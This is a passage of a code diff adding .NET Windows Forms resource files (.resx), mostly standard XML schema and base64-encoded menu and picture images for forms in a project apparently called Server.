+0z9EfIJFHrtNzt2TAWDaeLuN7PY6fXpMascqk3x8xzZI27bHqaZ/SuddGhZ5bJXZAxtU6xhMG2+r
+fGcA7ats8u3bENe2vU41/VM25+JY5LFVYsEKwbTx9nksWCEpbc9Z5eFKq8FJNf1TOufysMhjq8SC
+FYK37u3zWLBCklufs8rDlWbDEdX0T8ms08Miz/d5UrBC+ABon8eCFZLUQgJgkW8xwCdNWyICmHZy
+LPJi+jwWrJCk5mds8s1bcLlxK3AK4faARV5Mn8eCFZLY9IxNvmkLYhv0gYu4aNIxwSIvps9jwQpJ
+aFxhkie3D5ca9IHbKO5tWOTF9HksWCEJDStM8uT2IaZe9y3V9A8unVjkxfR5LFgh8fUrTPKX6vUQ
+VbN5nWr+B2SYu6reN4mVF9PnsWCFSOtWmORj6rRG0ds83JiJlef7fPcG/G55Q9UAfjMfQnL7C1+f
+T2xZ5595+dV0CNKGVQZ5HVys1dVQvcDgug83ZmLk+VY5YITUTg2fNnjzvLxy57jPdxsgoXmNTxu8
+eV6+TS9aPqZGexRVrU2jeuLAdZ8oecaRmC1tiHytDqJv6TqplniKVKa47DGb8z2Qd8VUbZ5ub4q7
+ykjKX6zRQVT15g2qczpwVxkp+ehqbRfVCALyd6h8xPIg7Dd/a3NGUvX0I2oRHLholQ1ZZsOYNtOS
+qhAtd73gyht3lWFJm1Dd/LvAXSU5zlDLR9doHUEXrFhSOy1SXPclKY1HQcuTLyns87FVmjj6+vAR
+12NKI+K1CV27JnZ5rQnHA+Zv2DOBDFm4dMK9Da4+iPz6ldYtjsh7iLzncqOei23Ur+E8jyMxP1W+
+D/9mPeec/z0SyT+l5/7vV6/aLQAAAABJRU5ErkJgggs=</value></data><data name="x64ToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAmAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAADOklEQVRoQ+2Zy2sTURTGIyKKghtBFNzoVlciKIi4FF+4EnHpThBEQUEX4kLE7sSVf4Cu
+xJXixunTIm2tUugkfeTRlhqblPSVJk2TNunxnumZyc1wxnq6mNvF/ODbzJz73W/u3EeYxCIiIiJ2
+OFbiRqw93q1UVoKQhH11xdrt65Rim1h2m884fFnxl5RGyObI86Zhy7KvUSoBm9OGNwxbVryTUgmw
+7BJrZkKWvUypBHBGJiWGMzEpMZyJSYnhTExKDGdiUmI4E5MSw5n8h/Z2JuC2/Rs+FZYhUa7Cwnqd
+rXO1uyMBQ8uroMPVUSoBnMkWOvMjA6lKjWI04Wpd3R/PUVUTro5SCeBM/qHzgxNQa2xQBIBSveG8
+hTfTc2w96si3MVhSb8gPV0upBHAmATrYPQLTq2vUPcD73BIc6hlla3W9yy1Si1a4WkolgDMJ0N3R
+Geoa4ONsEQ6rkb3wcwIuDU0FPsjFX5Pgvi9so8PVUyoBnEmAehZXqGsAa74MaxvNqYTT6kk631K/
+Ry3cuFrgCC5ynEo6eq0nMZxJgLLV5vQJ4pbamdz6R8k8XQW4k8g613TcuhaJ4UwCVNdGvG+pAqcH
+0s4USWs7Un+x4tQe6x13Fjjydb4Eu8hDR/f2JEZr/DiVd171FTWnT/aloLBWh7fZee9+Mz7AucGM
+dx1H3QVDY9gPvvkehOvhSYzWeJ86nHB/T67UoHuh7Gx9R3vHvPu52jp1C3CqP+VdP6vOBZ0DXSNQ
+ptHfCtfDkxifAe4oLvfGZlrufVb7vcsDdTC51x8mm4dUXj0kXuMOOg7Xw5MYn8HN4WmyBnjq21Uu
+aw+3qnadV5MFeJ6ZhRVttNumCi1t/NLh7lMqAVpjPKj+VNfBLlXhy1zJCXb8e7Klg9fqxA1iQC3g
+/Wr66PV+6XD3KZUArTH+HMCFijvLCRW80mg4D6LXoHDR4pmACx7fBP6Ye6beBK4hf61fOtx9SiWA
+MzEpMZyJSYnhTExKDGdiUmI4E5MSw5mYlJid9Gmx3S5SKgHO93nOzIAsu4NSCcA/FzgzE7KGr1Iq
+IfjnAmcYrl5Qmm2Cfy7g9/kw1wT2hdNm2yMfEREREQ6x2F+uMtPoETiAtAAAAABJRU5ErkJgggs=</value></data><data name="killRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="x32ToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATgQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAD8ElEQVRoQ+2Z6U8TURTF+ab/lV9NhLTIjgvRaAhKghERYkyIC8YExRBRg0sIMVFRw1K2
+gCAURRYFLC6AQFCWFhBFRKlsvc59vVPL9FovSWv50B85SfN6OJw3nZn3pkSECRMmzNZkR0nK9shy
+85XICpMjssIMoZHJvqvcXIBdqJYcd3ku9P9rV4XpMtWSE9ojv1HapzBNteRwQcHSwYbDEGNJgPjq
+ZDjUmMp6qJYcLiQYMlfFwOr6KmS0HId7Aw9gzjnH+qiWHC4kGEpvzoB11zrstsRD+9QL6JnpZX1U
+Sw4XEkjhKXOsJRNK3paqo46v7T8cYJ14pl4b/VRLjjEg0MKS/jD6qZYcY0CwhKdN06dmSKrdp4qf
+sGazPqolhwsJhsYWPkLpu7uQZc1RE8CJcD6qJYcLCaS6HN2qMAfejYx+qiXHGBBoHW5Mg4vd+arw
+2Y48aJt8Bu+/DKhrY3/9QR8/1ZJjDAiGcALONSdEVUbD61kblA0+Yn0oqiWHCwm0Hgw+hMGvQ+r1
+t1/f1Cdh9OiiWnK4kFCKasnhQkIpqiWHCwmlqJYcLiSUolpyuJBQimrJ4UJQZzrOw5u5t+BcdcLS
+6pK2ko7B/YEybTcZ5+NNfXJEbRPGv0/A5OIk9M2+hqt917QtdKyP91+iWnK4kIJXhWrh4bDN9kNU
+RbTHi1sDnCSH0SsR1ZLDhUwuTqkCuO1NfXJU7eHx6Otkt51SPlNlDEz/nFZjI/OjatXF1fXD/LAa
+Q3SvVFRLDhdS2FsERX3XIdN60jMWV51ElQCu9BSqseOtWTQCkNd50ePNf1lAo3+8UlEtOVwIp9Pt
+uVQJIKstR40l1CSrPQ0q1pLo8d6wFZMT4PTzXM+4RFRLDheiCz/++rEGtZdfXltWhTrsnaxXF26T
+Z37OKC8+geGzMOf7m6iWHC5EF55G3jh+TKtvFjgvCsvihYu4tJ9znRdYnz9RLTlciK60pnQ1CXwQ
+wfLI56U5SK7d7+PFnWbLuFV5kIdDj308ElEtOVwIp/TmY1QN4Fb/HZ/3K0cs9C7A0/FWNSGjRyKq
+JccYgLdBPO9Rma38XcgyWrPhd8qGHtE7AJ2OLnV79X5/M6JacowBWHRlfUWVsX3uh8Savepoeq8D
+eJfR/cW2WzTqXri4lXozolpyuBB8ANFZc6157kDI1KIdYqvdt8w9dSnqYvXH8PyIT74/US05XAgu
+/zf7b2srsR1cLnfBheUF7dxu0U6xAx4fTgAvbn/CU8o7+1+iWnK4EG9FV8VtWKSCLaolZ4t9vT5F
+teTgPxW4sFBIm0A+1ZKD/9ZxT8Jk50L/j7S/XW6+tLNu5zaqFSZMmDBbioiI392nmoAs4I89AAAA
+AElFTkSuQmCCCw==</value></data><data name="toolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA2AMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAADeklEQVRoQ+2Z204TURSGeRYRz4CcWtqhLeXQdgoUFVBIjOHCB/BGBDkjhucykmB8BSPS
+Tmd6muHQciXQ5V7TjmlgOrO7MHFfzJ+si6bT5Puma9beO9PmxYsXL2LmPDU/UUktZM9TC1CZmofK
+JNYrqExgvYRyEmsOyjLWLJQTs3AWn6lV7EWtxp+bdTr2rFaj03A6gpWCkyjWFJwMY03CSQRrAo7D
+rELJWg3JcCzJiiHJch2LPwxaEQAeDCkBeiCeqWPx57/Ds0J4IxgHIxCHOhZ/RII3AjGCgEDw+uA4
+RUAceN1PERAIXvePUQTEgdd9BAFeeINBZ6OTUGDAvPC5oQRkgjEoMmgeeH1glCLgDl8am4aj12+h
+cvAd1NUd0BigG7wqxUFZ3oLK/jc4nF0EjYm4wZf6RwgCHHce4S90AzDVy0tQNz6DGkk2hc9KMciu
+fjKvxVyUdPg58wYKg0zCAZ4o4Nzz2DZ45xtjSqzvghqWXeGtlL8eQNo36ghf6osSBFweWOx5bJvr
+QH8lQglXePysvF8H1c8EHOBLvcOtCzjBW9MGe15duwkGV1egbu2BwvrdhP9oI8quya7tQsY34gpf
+JAs4wFvTBiWydv8ESmzu/RP4Yk+EIMABb00bLZy0BYWrqgnbGAp88WmYKMABb00bLSQzie2bEg2h
+whe7KQItwFvTRmULVHZl23wGrqdarZLhi90hmkAr8NYiZbaSjQC2EwqkGWir8IUuggAZ3q2F2DhN
+M9hW4AudQ0SBW8Jj21xvp5rEDhwxUF74QqdEELgtPIJizy9t2H6nsN+kUYIDvvCEIsABz7NIZQZY
+sdXWVmJlC34xWDf4/OMgRcAZHrfEuKu8AcY+K2wSNU6bTH8UlA+bttcevVsGBSUc4POPAq0LOMHj
+QQT387glbowdvDVt0r0R23Y6+7IPhwzUCZ4o0BweCw8jh3OL5pYY4wRvTRvs+cZ2+l0swQ928tO6
+GLQDfP7hIEHAAd48Bkoy5NhBBPfz5f0Dc1fJs0ilWa9j2+CdR3iFAz7/wE8RcIa3joF4GMH9PM+W
+2Jo22PPYNjx3HuFzJIFm8Jxn2GbwbtPGDj5330cREAc+d48gIBJ8rmOAICAQvNbRTxQQBF67SxEQ
+CF5r7yMImG9GxIDX7vRk6lj8wdc6RjCmiACvtfck6lhevHjxIlTa2v4ApFYzcOoYkQsAAAAASUVO
+RK5CYIIL</value></data><data name="toolStripMenuItem2.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data></root>

Server.Forms.FormPerformance.resx

@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="pictureBox1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
